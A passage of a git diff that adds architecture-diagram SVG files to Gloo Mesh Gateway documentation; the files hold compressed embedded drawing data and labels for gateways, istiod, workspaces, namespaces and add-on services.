bWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXH